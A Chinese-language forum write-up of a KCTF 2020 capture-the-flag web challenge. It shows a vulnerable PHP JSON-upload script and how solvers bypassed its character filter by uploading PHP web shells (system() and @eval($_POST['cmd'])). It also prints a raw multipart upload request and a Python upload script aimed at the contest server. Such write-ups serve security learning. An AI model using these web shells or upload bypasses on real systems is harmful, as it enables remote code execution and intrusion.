-
-
[推荐]看雪·安恒 2020 KCTF 春季赛 | 第八题设计思路及解析 KCTF
-
发表于: 2020-5-6 18:34 5937
-
出题团队简介
设计思路
<?php if (isset($_FILES["file"]["tmp_name"])) { $file = fopen($_FILES["file"]["tmp_name"], "r"); $data = fread($file, filesize($_FILES["file"]["tmp_name"])); $arr = json_decode($data, true, 2); if (json_last_error() != JSON_ERROR_NONE) { die("JsonErr"); } if (count($arr) != 1) { die("DataErr"); } $data = $arr['data']; $len = strlen($data); if ($len > 56) { die("Long"); } if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) { die("no"); } $name = mt_rand(); $ext = strrchr($_FILES['file']['name'], '.'); $ext = trim($ext); move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext); echo "upload/" . $name . $ext; } else { highlight_file(__FILE__); } ?>
攻击方需要构造一个php文件读取根目录/下的flag。
文件必须符合json规范,禁止使用部分特殊符号,且有长度限制。
标准writeup
构造PHP一句话:
{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"} POST / HTTP/1.1 Host: www.bilijk.tk User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,en-US;q=0.8,en;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------29882803486271100771841892137 Content-Length: 419 -----------------------------29882803486271100771841892137 Content-Disposition: form-data; name="file"; filename="123456.php" Content-Type: application/octet-stream {"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"} -----------------------------29882803486271100771841892137 Content-Disposition: form-data; name="submit" Submit -----------------------------29882803486271100771841892137--
利用上传后的php文件,读取根目录中的flag。
解析过程
下载压缩文件后获得服务器地址:
http://47.102.223.17:2333/
<?php if (isset($_FILES["file"]["tmp_name"])) { $file = fopen($_FILES["file"]["tmp_name"], "r"); $data = fread($file, filesize($_FILES["file"]["tmp_name"])); //这里存在json解析执行任意远程代码漏洞 $arr = json_decode($data, true, 2); //判断文件内容是否为json if (json_last_error() != JSON_ERROR_NONE) { die("JsonErr"); } //判断json是否只有一个节点 if (count($arr) != 1) { die("DataErr"); } //取出data节点的数据 $data = $arr['data']; //判断文本长度是否小于56 $len = strlen($data); if ($len > 56) { die("Long"); } //只要json节点name不是data,这个正则就直绕过了 if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) { die("no"); } //生成一个随机的文件名 $name = mt_rand(); $ext = strrchr($_FILES['file']['name'], '.'); $ext = trim($ext); //把上传的文件拷贝到upload目录,这里存在绕过文件名限制漏洞,但和本题无关 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext); //打印新文件路径 echo "upload/" . $name . $ext; } else { //高亮显示当前文件代码 highlight_file(__FILE__); } ?>
{"ok":"<?php @eval($_POST['cmd']); ?>"}
import requests url = 'http://47.102.223.17:2333/' def upload_file(): files = [ ('file', open('getshell.php', 'rb')) ] response = requests.request("POST", url, files=files) print(response.text) if __name__ == '__main__': upload_file()
<?php system("find / -name *flag*") ?> <h1>xtgo writeup</h1>
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
他的文章
看原图
赞赏
雪币:
留言: